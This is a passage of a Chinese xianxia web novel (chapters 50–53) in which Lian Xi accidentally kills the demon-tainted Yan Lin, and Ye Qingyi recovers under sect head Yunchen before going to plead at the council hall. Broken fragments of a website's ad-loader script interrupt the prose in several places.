“承让承让,论卑鄙还比不过晏临师兄,不过我的确是故意为之,其实你的破绽在肩膀,不在腹部,我若不如此说,又怎么能让你露出真正的破绽呢!”叶清漪说着牵动了伤势,急急咳了两声。 连喜顾不得拔出墨羽剑,赶忙上前查看叶清漪的伤势。 那晏临在后面怒气冲冲盯着叶清漪:“若不是你干扰,我怎会落了下风?红颜祸水,实在可恶!方才就应该直接办了你!你一个闺阁女子,竟这般不知廉耻,遭遇了这样的事情竟可以面不改色,若换了别的女子肯定羞愧不已,哪里还能像你这样宛如没事人一般?” 连喜喝止晏临:“你住嘴!” 50. 第 50 章 连喜转身担忧地看着叶清漪,欲言又止。 叶清漪向他摆手示意,神色一如既往地平静,她小腿被划破时,至少还皱了下眉头,如今却丝毫没有波动。 “你是太看得起自己,你被狗咬了还会哭哭啼啼,羞愧不已吗?” “你说什么!”晏临脸色难看极了。 “被狗咬了,该疗伤疗伤,该打狗打狗!难不成还要自我反思一番吗?”叶清漪毫不掩饰眼中的轻蔑之色,“或许该反思,也是反思自己不够强大,日后努力修炼,争取下次可以直接将狗制服便是。” “你!不知廉耻!冥顽不灵!难怪有那么多人看不惯你!” 叶清漪眉心有片刻松动:“你指的是谁?你不是不认识我吗?怎么会知道有许多人看不惯我呢?莫非是有人和你串通好,将我的行踪透露给你,方便你伺机而动,否则,今日怎么会这么巧,偏在人少僻静的思过堂碰见我呢?你也说了,这里少有人来,既然你拿了这里的秘籍,为何不一起拿走,又何必一本本地拿,还特意送回来?” 叶清漪说着看向散落一地的书册:“这其中有一本看起来明显和其他几本不同,一看就很普通。该不会是师兄你拿来的吧!” 晏临眼中神色变了几变,忽然发了狠,大吼一声将墨羽剑生生从肩胛骨内拔出,鲜血喷溅一尺多高。 晏临自半空跌落,跪倒在地,墨羽剑也落在他脚边,连喜抬手,即刻便将其召回。 “你想太多了!”晏临因为剧痛有气无力地说,神色却有些闪躲。 连喜还在查看叶清漪的伤势:“我替你包扎一下吧!” 叶清漪只道无妨,一边用眼神示意连喜,提防晏临。 连喜回头确认了一下晏临的情况,见他伤得这般重,神色有些不忍,语气也软了几分:“今日之事我会禀报长老及掌门!他们自会彻查,至于如何处置,也交给掌门和长老们共同定夺!” 晏临闻言大笑两声,神色越发阴狠。 连喜说完又继续询问叶清漪的伤势,看着她左边小腿上那道斜斜的伤口,秀眉紧蹙,从怀里取出一个小药瓶,作势要给叶清漪处理伤口。 “再不处理好化脓了,到时你可能会高热不退,伤口也极难痊愈!”连喜不由分说打开药瓶,将白色粉末小心地倒在叶清漪的伤口上。 叶清漪吃痛地倒吸一口凉气,抬眼正对上对面的晏临,对视片刻后,晏临忽然发了狠劲,抬手运气,催动功法,直直向他二人处袭来。 “今日你二人都休想离开这里!”晏临双眼猩红,这一掌更是带了黑色的血气,一看便知是致命的杀招。 “小心!!!”叶清漪使出全力一把推开连喜,眼睁睁看着黑气直直向她袭来。 连喜迅速挥剑,直劈那团黑气,剑气穿过黑气,直接在墙上留下一道深深的划痕。 黑气没被击散,反而一分为二,分别向二人袭去。 连喜身法迅捷,一个错身避开了,叶清漪却直直受了这一击,虽然威力减弱不少,但对她来说还是太过猛烈。 叶清漪只觉心口一阵火辣般疼痛,浑身经脉无比灼热地刺痛着。 “师妹!!!”连喜大喊。 叶清漪吐血不止,她也顾不得自己,强忍下疼痛喊道:“快!拦住他!他要跑!” 连喜见晏临果然正往门外冲去,连忙去拦,不料晏临半路转了方向,举剑直直向叶清漪刺来,那架势明显是要取叶清漪性命! 连喜情急之下隔空掷出墨羽剑,正中晏临后心。 晏临立即定住,停在叶清漪三步开外,手中的剑还差几寸就要刺入她眉心。 “你没事吧!”连喜三步并做两步冲过来护着她,却见叶清漪怔怔望着晏临,连喜顺着她的目光望去,只见晏临定在当场,手还保持着举剑向前的动作,眼神空洞望着前方,口中大量黑血渗出,整个人定在那里一动不动。 叶清漪和连喜面面相觑。 叶清漪语气有些慌乱:“你该不会……杀了他吧?” 连喜神色一凛,将叶清漪扶起来,送到一旁,这才上前查看:“不应该啊!方才这一剑我没用真气,顶多也只是伤及皮肉啊!喂,晏临,你别耍花招!” 连喜说着推了推晏临,对方却纹丝不动。 叶清漪让连喜确认下伤口的位置。 连喜转到后面,怔了半晌:“这个位置好像在后心处……” 他无助地望向叶清漪:“我似乎,击中他命门了……” 话音刚落,晏临便直直倒了下去。 与此同时,门外响起一声呵斥。 “连喜,你在干什么!” 连喜和叶清漪同时望去,只见修言、戒律和云宸都在门口。 晏临背后带着连喜的墨羽剑,栽倒在地,连喜和叶清漪身上则满是血迹,怎么看都像他二人合力将晏临击杀了。 “哎呀呀!这……这这……”站在最外面的戒律率先冲了进来,仔细查看了晏临的情况,还探了探气息,表情越发为难,“这可是护国公独子!祖上是开国元老,长公主的表侄儿!怎么,怎么就……被你给打死了……” 修言愤怒地冲进来:“连喜你好大的胆子,竟敢残害同门!” “我也是……一时失手……”连喜声音渐弱,看向最后进来的云宸,“师尊……” 云宸抬手,示意他先别多说。 看着坐在血泊里的叶清漪,修言又问:“叶清漪,你是不是也有份!” “没有,都是我一个人干的!”连喜慌忙解释。 叶清漪暗暗朝他摇头,一个劲示意连喜,连喜似乎没有领会,叶清漪只好道:“是这位师兄打算轻薄于我,二师兄恰好路过看见,才替我出手的!” 戒律闭了闭眼:“轻薄?他轻薄你,你就要杀了他吗?” 叶清漪淡淡开口:“这是意外……” “哼,如今人已经死了,自然你们说什么便是什么了!”修言态度恶劣。 戒律还想再说什么,被云宸开口打断了:“如今一时也没个定论,先让他们下去疗伤罢!” 修言虽然不满,但也不能当场反驳云宸的话,只愤愤一拂袖,退至一旁。 这时门外已经聚了不少弟子,戒律无奈地冲他们喊:“还在那儿看什么热闹,还不快来几个人将晏世子抬下去!” 几位在最前面的弟子进来,七手八脚地上来抬晏临,又见他背上插.着墨羽剑,一时手足无措地站在一旁。 戒律啧了一声,瞥了连喜一眼,连连指着晏临:“还不快将墨羽剑取下……” 连喜这才上前拔.出墨羽剑。 黑血瞬间从晏临后背的伤口渗出,淌了一地,边上几位弟子连同戒律和执明都连连退开,各自交换着眼神,皆暗自震惊。 连喜拿着墨羽剑无措地站在一旁,见这情形更加茫然了。 叶清漪倒很冷静,坐在那里面无表情地看着这一幕。 这下晏临是死透了。 戒律和执明暗暗交换了一个眼神,面色努力如常。 几个弟子蹙眉盯着脚下的血泊,戒律见了连忙喝道:“还愣着干嘛?抬啊!” 几位弟子这才手忙脚乱地将晏临抬了下去。 路过身边时,云宸迅速扫了一眼晏临的伤势,略一思忖,似乎有了计较,面上却不表,而是先过来查看叶清漪的伤势。 叶清漪五脏六腑翻江倒海,这感觉太熟悉了,当年她被魔气侵体也是如此,难道这一世她要提前入魔了吗? 云宸走过来,在她面前一挥手,那股恶心之感才勉强消退一些。 他在叶清漪面前蹲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下,伸手捏住她手腕。 叶清漪意识已有些迷离,只能不甚清明地看着云宸,听他侧首对连喜吩咐:“伤势不算严重,先她带去我的流云殿吧!” 修言急忙阻拦:“师兄,这不妥吧!她一小小仙徒,怎么能进后山呢?” 云宸站起身,示意连喜按他的吩咐来,不紧不慢对修言道:“流云殿中有天露灵泉,可助其疗伤,人命关天,就不必在意这些繁文缛节了。” 修言急了:“可晏临的死他们俩脱不了干系啊!” “就算要彻查,也要先将人救下,她如今伤势不太乐观,处理不当,可能会功力尽失,沦为废人,师弟是有意阻拦拖延吗?”云宸语气不算严厉,但这话却是说的很重。 修言连忙躬身道:“不敢!” 戒律在一旁看着,更是不敢多言。 “那便好。”云宸笑了笑,向修言颔首示意,“还要劳烦师弟将此处料理妥当。” “是。”修言依旧拘着礼,语气恭敬。 云宸拍了拍他的肩膀,举步走向一旁,捡起连喜的外衫,确认了一眼叶清漪这边的情况,这才朝门外走去。 连喜已将叶清漪抱起,将墨羽剑和青锋剑一并收了,单手握着,抱着叶清漪离开了思过堂。 * 时隔一世,叶清漪又来到了流云殿。 那处灵泉叶清漪知道,可以净化魔气,看来云宸是知道她被魔气侵体了。不过如今她的修为不高,反噬不强,加上云宸第一时间替她封住了经脉,算是初步控制住了。 当年她被魔气侵体时,也曾在此泡了三天三夜,但效果微乎其微,只能暂时缓解痛楚,甚至都无法抑制每逢子夜的魔气反噬,更别提完全将魔气净化了。 云宸御剑将叶清漪和连喜带回了流云殿,并未第一时间安排叶清漪入灵泉,而是先让连喜将叶清漪送去偏殿。 “不是说要去泡灵泉吗?”连喜一时情急,抱着叶清漪原地转了个圈,回身问云宸。 叶清漪适才压下的恶心之感又涌上几分,可她已经没有力气跟连喜说什么了。 云宸似乎看出她的不适,摆摆手:“你先将她放下。” 正殿只有两排整齐的交椅,连喜大约是想替叶清漪寻个舒适之处,又抱着她左顾右盼,四处搜寻,将叶清漪直转得昏天黑地,认命地闭上双眼。 此时,一双温柔的手将她接过,久违的檀香气味萦绕鼻尖,一双坚实的臂膀将她稳稳托住。 叶清漪的世界终于停止了旋转…… 是云宸将她抱了过去。 叶清漪不敢睁眼,躲在云宸的怀里装死。 前世她都不曾靠近过云宸三步之内,如今这般,她可不敢睁眼看,生怕吓到自己。 云宸大约察觉出她的异样,沉默片刻才跟连喜解释:“她如今还有伤在身,灵泉灵力太过旺盛,只怕她承受不住。我先替她运功疗伤,你也回清心堂歇息一下罢!她的伤势只怕要到晚上才能稳住,你收拾好了,记得去灵药阁托拂尘长老开几位凝息止血、固本培元的药来。” 云宸说着要带她进去。 “那她晚上还要送去前山吗?” 叶清漪听到云宸好听的声音在头顶响起:“她如今不宜移动,事急从权,这几日便让她暂时住在偏殿罢!” 见连喜犹豫,云宸又道:“晏临的事你不必忧心,我自会调查清楚,如今你二人先暂且休整,日后只怕还有的是时日要折腾。” 连喜将这些话听在心里,只道:“一切听从师尊安排!” 接下来的事情叶清漪便不清楚了,檀香的气息熏得她身心舒畅,对她的伤口好像也有所帮助,渐渐没那么疼了,加上云宸身上稳定涌动的灵力,让她无比心安,最后装着装着真就睡着了,连云宸是怎么将她抱进偏殿的都不清楚。 51. 第 51 章 醒来已是半夜了,叶清漪迷迷糊糊睁开眼,只见屋内灯火通明,香烟袅袅,她正躺在偏殿的软榻上,身上盖着一床水绿烟缎波纹锦被,垫着的褥子也很软,这让她后背肩胛骨的疼痛有所缓解。 手腕处的红肿消退了些,闻之有淡淡幽香,应是涂了消肿止痛的药膏。 掀开被子,见衣裳已经换过了,叶清漪脑海里闪过无数个猜测,最后笃定该是云宸用术法给她换的,定是如此! 左腿的伤口也包扎好了,动的时候还是有些疼,不过可以勉强下地走动。 屋内的白玉琉璃香炉里点着青烟剑科,此香有稳定心神,净化瘴气的功效,可以让她舒适不少。 叶清漪忍着疼痛一步步走出偏殿,竟看到云宸还未休息,正坐在正殿中央的罗汉床上,手撑着上半身,斜倚着榻上的矮几休息。 叶清漪压低声音远远喊了他两声,云宸没有反应,估摸着是睡着了。 叶清漪缓了脚步悄声走近,正殿左右只点了几盏灯,光线幽暗,烛火映在云宸脸上,让他的眉眼多了几分柔和。 叶清漪感觉,面前的云宸似乎和记忆中的不太一样。 想着前世她连云宸最后一面都没见到,再看眼前恬然安睡的云宸,心中酸楚,不由得伸手探向他眉眼,想确认此情此景是否真实。 在即将触碰之际,云宸眉心忽的一蹙,吓得叶清漪连忙收回手,整个身子后仰,连呼吸都极力放慢,不敢发出一点声响。 好在云宸并未醒来。 叶清漪暗暗松了口气,转念又想,她怎么跟做贼心虚似的?转念又一想,她方才在干嘛?竟敢冒犯云宸,简直是大不敬! 不过云宸睡的也太……放心了……怎么一点警惕性都没有?罢了罢了,且当她伤势过重,还没醒转吧! 恢复理智的叶清漪摇摇头,打算就此悄声离去。 转身带起一丝幽风,波动的灵力没稳住,惹得一旁的烛火晃了晃,云宸猛然睁眼,喝道:“谁!” 叶清漪整个人僵住:“师……师……是我……” 末了抬起手背碰了碰嘴唇,毅然地想,一年,还有一年!她就不用担心再叫错了! 只是首先要保证她不会在那之前被驱逐下山…… “嗯,”云宸应了一声,坐直身子,低头整理衣摆,“你好些了?” 言罢抬头看向她。 “好了不少,多谢掌门出手相救,不然我肯定要被……这伤势折腾得无比痛苦……” “你原本想说魔气吧?”云宸似笑非笑地看着她,神色莫测。 “我也只是猜测而已,不敢断言。” 云宸点点头,没有追问。 “夜已深了,既然你醒转了,应该不会再变得凶险,”说着点了点她的小腿,“你这剑伤只怕要月余才好,在此期间你就暂且待在流云殿,明日我让连喜替你简单拿些日常要用的东西来,你只管告诉他便是。” 叶清漪:“啊?” “怎么?你有什么顾虑吗?” “没有没有!”叶清漪急急摆手,牵动了气息,又连连咳了起来。 云宸神色猛然一变,直起一半身子,手伸到一半停住,又缓缓收了回来,整个人也坐了回去。 叶清漪越咳越牵动真气,咳到去扶一旁的交椅扶手,俯着身子猛咳。 一只手轻柔地按上她后背,一股温热的灵力自后心源源不断汇入她体内,片刻后,她的咳嗽终于止住了。 她也不知云宸是给她疗伤,还是在传她修为,如今她修为过低,根本无法判断出来。 “你体内的魔气还未完全净化,暂且不要气息过于波动。”云宸说着撤回手。 “多谢掌门……”叶清漪顺了几口气,这才缓过来一些。 想到方才的事,云宸又道:“流云殿上空有纯净的灵气笼罩,自带结界,对你的恢复有好处,你尽管安心住下。” 叶清漪也不再推辞,恭敬道了声“是”。 云宸颇为满意地点头,负手而立,嘱咐她:“如今你还需多加休息,切忌思虑过重,其他的事情,你就别太牵挂了,自会有人处理。” 叶清漪果断应了,头点的比捣药杵子还实在——云宸发话,她哪敢有异议? 见她这般,云宸欲言又止,最后还是没说什么,只让她快去休息。 云宸说完神色莫明地看了她一会儿,终于负手离去。 直到看着云宸进了听雨阁,叶清漪才松了口气,终于感觉放松了一些。 这时正好困意上涌,她便又回偏殿睡了。 这一夜睡得格外安心。 不知是流云殿的灵气适合她疗伤,还是因为有云宸在。不过她倒是难得度过了一段安宁的时日。 虽然对于晏临之死的后续处理还是很担忧,但她的身子如今出不了流云殿,急也没用,况且也如云宸所言,忧虑多思不利于恢复,她只能逼自己静心休养。 若是这次体内的魔气没有完全清除,她很可能会和前世一样被迫转入魔修,但她暂时还不能离开云仞。暗害云宸的人,连喜被赶出仙门的原因,还有当初害她魔气侵体的人都没找到,她还是要努力恢复功力,尽快回去修炼。 在流云殿期间,她很少见到云宸和连喜,除了刚进来那晚和云宸交谈过,次日一早又遇见前来问候的连喜,之后就很少见到二人了,也就到了换药的日子,能得见云宸一面,也只是在午后匆匆见过。 云宸似乎格外忙碌,总是替她换好药就走,叶清漪问起连喜的情况,云宸也只说他在配合调查,没有大碍,教她安心养伤之类的话,叶清漪知道问不出什么,后来也就不追问了。 她知道,若是云宸和连喜都处理不了,她去了也是改变不了什么的,而且云宸如此安排,想来也自有深意。 十几日后,叶清漪的伤口终于结痂,只是还没那么快痊愈,不过已经不需要再包扎了,云宸也能少奔走几日,只是还是迟迟没等到让她入灵泉的安排。 这日午后,叶清漪坐在院中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 望着流云殿上空发呆,感叹前世她一心修炼,竟没有好好停下来看过头顶绚丽烟霞,那是由院中的灵草仙花散发的灵力汇聚而成,可抵挡一切妖邪之物。 所以前世她感染魔气后在流云殿运功恢复,也是徒劳,天露灵泉净化能力更是有限,她在自己的司晨殿日夜被仙气反噬,这大概也是后来云宸决意放她离去的原因吧! 她正坐在院中漫无边际地回忆旧事,有人进得院来,叶清漪看过去,竟是多日未见的连喜。 连喜站在院门处的灵草仙花旁冲她笑,灵蝶围绕着他翩然起舞,像是欢迎他回来。 叶清漪一喜,准备起身。 连喜急忙紧走两步过来按住她:“你伤口刚好,不要妄动。” 说着将一个白瓷瓶搁在一旁的石凳上,蹲下查看她的伤势。 “都好了,不用擦药了。”叶清漪的视线落在左腿处,连喜正小心翼翼地卷起她的衣摆,皱着眉看着她的伤口。 “这么长的一道伤口,若不及时擦药,是会留下疤痕的。”连喜说着打开一旁的白瓷瓶,里面盛着墨绿色的膏体,连喜从袖中取出一细长的木柄药匙,剜了一点,用匙背一点点涂抹在她伤口上。 冰凉的膏体乍然接触肌肤,叶清漪忍不住一个激灵。 连喜急忙住手,神色慌乱地问:“怎么了?疼吗?” 叶清漪莞尔一笑:“不疼。” 连喜这才放下心:“那便好。” 叶清漪又道:“我自己来吧!” “你灵力还没完全恢复,还是我来吧!” 叶清漪如今涂药确实还有些困难,便不再坚持。 她眼中含笑,静静看了连喜一会儿,见他气色尚可,又问他:“你和掌门这几日都住在何处?” “师尊一直在长明殿,我则和师兄弟们挤挤,你不必挂心。” 叶清漪“嗯”了一声,接受了他们的好意。 连喜替她涂好药,将药膏收好,又拿了个帕子将药匙擦干净,搁在石桌上,要取出一个一模一样的白瓷瓶,将两瓶膏药都推到她面前:“这药记得每日涂,涂在伤口周围,等结痂脱落了,再涂在疤痕上,每日一次,一直涂到痊愈为止。在此期间你记得少来院中,免得晒到日光,减弱了药效。” “你之后不来了吗?” 叶清漪看着连喜躲避的眼神,心中隐隐有些不安,难道连喜被赶出云仞竟是因为这件事吗?可是前世她不曾遇到过晏临,连喜也没有因为救她误杀了晏临啊!怎么会是因为此事呢? “晏家已经派人进山了,我虽是失手……师尊总要给晏家一个交代……” “可是晏临的修为高得异常,还有他的血和打出的术法都是黑的,这些又如何解释呢?就没有再细细追查吗?” “晏家已经将尸体领走了。”连喜眉宇间有些许无奈和落寞。 叶清漪知道,事情不是那么简单,真相不是决定处理结果的唯一要素。 这些年,她已经看得很清楚了。 52. 第 52 章 “那你会怎么样?” “不知道,可能会给一些处罚吧!结果还是要看门中的意思,也要看晏家那边是否接受。” “可晏家怎么可能会轻易罢休?” “放心吧!师尊会从中斡旋的,不会罚的太严重的。” 叶清漪知道连喜是在安慰她。 “你老实告诉我,事情究竟发展到什么程度了,你这些日子都干嘛去了?” 连喜有些为难。 “你也说让我不要多思,你们什么都不告诉我,我怎么能不多想呢?” 连喜这才道:“师尊和几位长老们意见难以统一,已经僵持了好几日了,为了平息晏家的怒气,我暂时被派去防守山门了,不过仙山常年没人进出,也就膳堂的人隔几日会下山采买,总体还算轻松。” “你一个掌门弟子,门派二师兄,让你去守山门?”叶清漪提高了音调,这不是是否费体力的事,而是践踏连喜的尊严,并且这样的处理方式也在一定程度上表明了仙门的态度。 看来云宸在和几位长老的博弈中,并未占领优势。 “这只是暂时,等最终处理结果下来就好了。”连喜还想宽慰叶清漪。 可叶清漪太知道那些长老的心思了,处罚都下来了,后面怎么可能还会赦免连喜?结果只会比守山门更坏,只是时间早晚而已。 看连喜这样也是知道的,不然也不会来跟她交代这些,好像不会再见一般。 虽然不知为何会变成这样,但叶清漪肯定不会就这样看着连喜被赶出云仞的。 不过当下她没有表露,为了不让连喜多想,她只装作已被他安抚:“那便好,有掌门在,应该不会太为难你。” 连喜挤出一个笑,又嘱咐叶清漪好好休息,之后说起这玉肌膏是掌门让他带来的,他还要回去复命。 叶清漪知道他是找个托词离开,估计又到了去看守山门的时辰了,叶清漪也不多留,让他只管安心去罢,她一切安好,不必担忧。 连喜这才依依不舍地离开,临走前不忘叮嘱她每日擦药,叶清漪皆一一应过。 待连喜走后,叶清漪独自坐在如意石桌旁,摩挲着那白瓷药瓶,神情逐渐凝重。 * 当晚,叶清漪就提前入了灵泉,泡了一夜后,魔气明显清除了不少。只是一下子泡这么久,出灵泉时她不免有些头晕,勉强走了两步,结果一阵猛烈的眩晕袭来,眼见要往一旁摔去。 一双手接住了她。 “小心!”熟悉的声音贴着耳边。 是云宸!!! 叶清漪顾不上什么冒犯僭越,只先扶着云宸的手臂努力站稳,但还是有些力不从心。 “掌门……”她还试图跟云宸行礼。 “这灵泉是这样泡的吗?”云宸的声音带着难抑的愠怒,“一日最多泡半个时辰,灵力高强者最多也只能泡两个时辰,你竟然泡了一夜?” “我……弟子知错……”叶清漪本想解释一二,但她太了解云宸,这般情形之下,哪怕是一个字的解释都会被当做借口,干脆直接认错。 “认错倒是挺快!明知自己内里空虚,还这样不要命,若不是我早些时候给你渡了一些真气,你只怕早已溺死在这灵泉之内了!” 叶清漪一句话也不敢说,她最怕云宸动怒,每次她都不知道该说什么,只认准一句“弟子知错”,等云宸训斥完,再老老实实去司晨殿罚抄心法。 见叶清漪这般,云宸叹了口气:“我先带你回去。” 流云殿内不便御剑,云宸犹豫片刻,拦腰将叶清漪抱起。 “!!!”叶清漪眼睛顿时瞪大了,大气不敢出,但为了固定自己,还是一把抓住了云宸的衣襟——可这让他们的姿势变得更难以解释了…… 云宸没什么表情,抱着叶清漪像抱着一捆菜一般,转身准备走。 “掌门!莫如,我还是自己走罢!折煞弟子了!” “你确定?”云宸说着将她放下,叶清漪脚刚沾地就像踩到一团棉花一样,双腿忍不住跪了下去。 所幸云宸还没完全松开她,单手一提又将她拉住了。 叶清漪尴尬一笑,低着头,不敢看云宸,等着云宸再次训斥。 不料云宸顿了片刻,并未再斥责她,反倒是叹了口气:“你这伤口刚结痂,如今泡灵泉还是太早。” 语气里带着些许责怪。 叶清漪一愣,低头看去,因为灵泉是坐在岸边泡脚,她此时裤腿还卷着。 在叶清漪还没反应过来时,云宸俯身捞起她双腿,将她打横抱起。 叶清漪脑子刷地一下,一片空白。 她从未这么近距离靠近云宸,细看之下,云宸眼尾上挑,鸦羽浓密,眉如远山,面若桃花,薄唇轻抿成一条线,不说话的时候,唇角自然带了点上扬,若不知道他的身份,说他是寻常弟子也没什么违和。 云宸似乎注意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到她的目光,侧首和她四目相对,一双眼幽深如潭,仿佛能一眼看到你心底。 前世云宸就是这样,什么都逃不过他的法眼。 叶清漪吓得连忙闭上眼:“弟子僭越了!掌门恕罪!” 云宸不发一言,带着她一个晃身。叶清漪只感觉周围轻微摇晃了一下,很快又趋于平稳。 “到了。”云宸可怕地沉默了几息。 叶清漪连忙睁眼,发现她已经回了正殿之内。 “这么快?”叶清漪嘴角尴尬地抽动,她还以为云宸要抱着她一步步走过来,早知道这么快,她还扭捏个什么劲。 这样想着,云宸已将她放下,叶清漪顺势在交椅上坐下,想了想似乎不妥,云宸站着她坐着,简直大不敬! 正打算站起来,又被云宸一把按了回去。 “坐好了。” 云宸一发话,叶清漪彻底老实了。 接着云宸对着她小腿凭空一挥,伤口便肉眼可见地好了,只是还有一道淡淡的粉色疤痕。 “拂尘刚练就的仙药,今日一早便派人送来了,我本想尽快给你用上,谁知在偏殿竟没见你人。”云宸的语气听不出喜怒。 不过在叶清漪这里,一律按动怒理解。 她刚准备再次认错,云宸却抢先一步道:“噤声,凝神。” 叶清漪连忙照做 只见云宸一个抬手,汇聚灵力于掌心,反手向她面前一送,那如薄雾一般的灵力便汇入她的灵台,叶清漪当即闭上眼,感受着灵力注入体内,浑身逐渐恢复了力量,内里也不再那么空虚了。 施法完毕,云宸收回手,平稳好自己的内息,这才睁开眼。 叶清漪见他气息似乎有些波动,但又不是很确定。 “下次,不要再泡这么久了。”云宸开口,声音有些不稳。 “掌门你……你还好罢?”叶清漪急忙起身,关切不已。 “无妨,只是这些时日事务繁忙,有些劳累罢了。如今你外伤好的差不多了,可以开始入灵泉,每日浸泡一盏茶左右便可,头两日可以泡得久些,但也不可超过一炷香。大约泡上七日,你体内的魔气便可清除殆尽了。” “七日,会不会有点久?” “已经很快了,原本至少应该要泡十几日,”云宸话锋一转,直接点破叶清漪的心思,“我知道你想去救连喜,但你还是先顾好自己罢!沧云殿商定的事情,也不是你一人就能改变的。” 53. 第 53 章 “掌门,我还是想试一试,毕竟事情因我而起。”叶清漪极力请求。 云宸没有立即表态,沉吟片刻道:“这也是连喜的意思。” “可是晏临私自修习魔修,我体内的魔气就是证据啊!我可以先不彻底清除魔气,可以先去向长老们证明此事的!” 云宸蹙着眉:“魔气在你体内多待一日,对你的危害便更多一分。” “无妨,救二师兄要紧!他本是为了救我,我不能看着他被处罚啊!” 云宸还是没有松口:“如今的情形,你就算去了,也未必能改变什么。” “可总要试一试吧!”看云宸的状态,此次连喜这件事,已经让他心力交瘁了,还有几分无奈在其中,和她前世后来遇到的云宸越来越像了,或许就是因为连喜被赶出山门,云宸才会变成后来那样,所以,她不仅是救连喜,还要改变云宸的命运。 “这……” 见云宸有些犹豫,叶清漪连忙极力请求:“就让我去试试吧!要是二师兄因此被仙门驱逐,或是被重重责罚,那日后弟子还怎么继续安心修炼?还望掌门允准。” 云宸思索片刻,道:“也罢!那你今日便随我同去罢!就算改变不了长老们的决定,至少你还能再见连喜一面。” 听这话音,云宸似乎已经知道他们会如何处置连喜,并且做好了接受最后结果的准备了,看来这些时日云宸能做的努力都做了,连他都无能为力,所以才会这么劝叶清漪,他怕叶清漪最后还是会落得一场空。 但叶清漪则认为,无论结局如何,她都要尽力一试,就算不能改变结局,至少自己不会后悔。 云宸说一盏茶后出发,让叶清漪先准备一下,说完便回了听雨阁。 她的日常用品连喜已经替她拿了一些过来,叶清漪简单洗漱了一下,又换了身衣服,这是她第一次梳洗得如此认真,还仔细收拾了一番,穿上了素日开仙徒大会时才会穿的那套仙服,还擦了点脂粉。 她原本是没备下胭脂的,唯一一盒还是之前在山下集市连喜送的,当时连喜为了让她放心收下,只说是香粉,今日用了才发现,这是盒上好的胭脂,一次只需沾一些就可以了,颜色也极正的桃红色,涂在唇上也很显色,想是用红蓝花制作的。 叶清漪又擦了点在脸颊上,遮掩掉些许病色。合上盖子,摩挲了一下胭脂盒,光滑的白瓷盒身,斜斜描绘着一支梅花,墨色的枝干走势陡峭,其上点缀着点点粉色花瓣,很是艳丽。 叶清漪看着这红梅瓷盒,努力提了提心气,对着镜中的自己展露了一个鼓励的笑,接着长出口气,搁下胭脂,取过发带将发髻固定了,如此收拾一通后,整个人看上去精神不少。 走出偏殿,云宸已经等在院里,见她出来,恍惚间有些许失神,今日叶清漪穿了一袭天水碧束袖云锦衣,青色素帛束腰封带,云青色发带自脑后垂下,将长发尽数绾起,露出脖颈与额头,让她看起来较素日精神不少,也多了几分利落与坚韧。 “掌门,我准备好了!”叶清漪走上前去。 云宸回过神来,将手里的药瓶递给叶清漪:“先服颗凝神丹,你灵泉泡得太久,精力需要稳固一下。” 叶清漪依言吃了。 “剩下的你留着,若是不舒服了,就吃一颗,这丹药是拂尘新炼制的,不需要控制用量。”云宸言罢,便带着她出了流云殿。 沧云殿离流云殿很近,直接站在流云殿外就能看到沧云殿的位置,只是中间层峦叠嶂,需掠过密林,绕过侧峰,再从思过堂顶飞过,若徒步前往,只怕要走上半个多时辰。 云宸在流云殿外站定,扫了一眼今日云层的情况,对叶清漪道:“你如今的身子不适合与我御剑同行,我们直接过去罢!” 叶清漪还没明白云宸是说怎么过去,就被云宸一把拎起胳膊,身形一晃,二人就已至沧云殿门口了。 移影术,比御剑要安全,也更耗费灵力。 不过叶清漪只装作不认识此术,毕竟她如今还没学到。 “到了。”云宸松开她,整了整衣袖,仰头看向殿门一侧的记档牌上面浮动着“一十七”这几个淡金色的字,“沧云殿已经连着开了十七日了。” 言语间颇为无奈。 “沧云殿是门中唯一的议事殿,往日一般不开,只有门中发生重大事件才会开放,如今为了晏临的事,已连着开了这么多日,竟还没商定出结果。”叶清漪也没想到事情会发展成这样,虽然做了心理准备,但亲眼看到心情还是有些难以言喻。 “此次参与沧云殿议事的有四大长老及其亲传弟子,还有十几个内门弟子作为代表,晏家那边,来了晏临的叔父和堂弟,长公主没有直接派人过来,不过做决定时还是要顾及长公主的态度。”云宸跟她简单介绍了晏家的情况,“待会儿你跟在我身后,进去之后站在左手内门弟子最末,待长老传唤你再上前,不可轻举妄动。” “好,弟子记下了。”叶清漪也想好了,进去后先观察形式,不能冲动。 云宸颔首,想了想又嘱咐道:“沧云殿灵力纯净,你可能会有不适,服用凝神丹会有所缓解,但你体内的魔气也会因此减弱。” 叶清漪急忙道:“弟子会努力坚持,尽量撑住的!” 云宸欲言又止:“我的意思是,你要实在不适,还是要服用丹药,免得损伤根基。” “是。”叶清漪本想坚持,转念一想,云宸的意思只怕是在提醒她,就算她体内残留魔气,也不能替连喜证明什么,更没法说服其他人。 云宸这才放下心,举步上前,殿门前的结界感应到云宸走过,自动露出一个缺口,叶清漪连忙跟上,生怕被结界关在外面。 待人走过,结界又自动复原。 穿过结界,便是大开的殿门,在结界外看此门还是关着的,想来是为了不让闲杂人等误入吧! 进得殿内,云宸在进门处略作停顿,巧妙地替叶清漪遮住了众人的视线,叶清漪立马闪身躲在内门弟子最末,云宸则大步上前,走到最上方中央的位置坐下。 殿内原本没设座椅,如今几位长老和云宸都加了座椅,另一侧还多设了一个座位,供晏临叔父就坐,在他身后站着位十几岁的男童,想是晏临的堂弟。 这么小的孩子来能有什么用?叶清漪忍不住疑惑。 云宸左侧依次坐着修言和戒律,右侧是执明和拂尘,除了拂尘还没收弟子,其他长老身侧都站着各自的亲传弟子。顾长风自然也在,叶清漪避过了其他人,但没有躲过顾长风的视线,他站在修言和云宸的位置之间,恰好能将殿内的情况尽收眼底。 看到叶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清漪出现在此,顾长风先是惊讶,随后紧拧着眉心,觑了修言一眼,确定他没看到叶清漪,这才松了口气。 自从和顾长风那日在寝舍外分开后,二人便没再见过面,叶清漪一直住在流云殿,顾长风也进不来,却不想如今再次相见竟是这般情形,顾长风蹙眉看向位于右侧弟子首位的连喜,脸色越发阴沉。 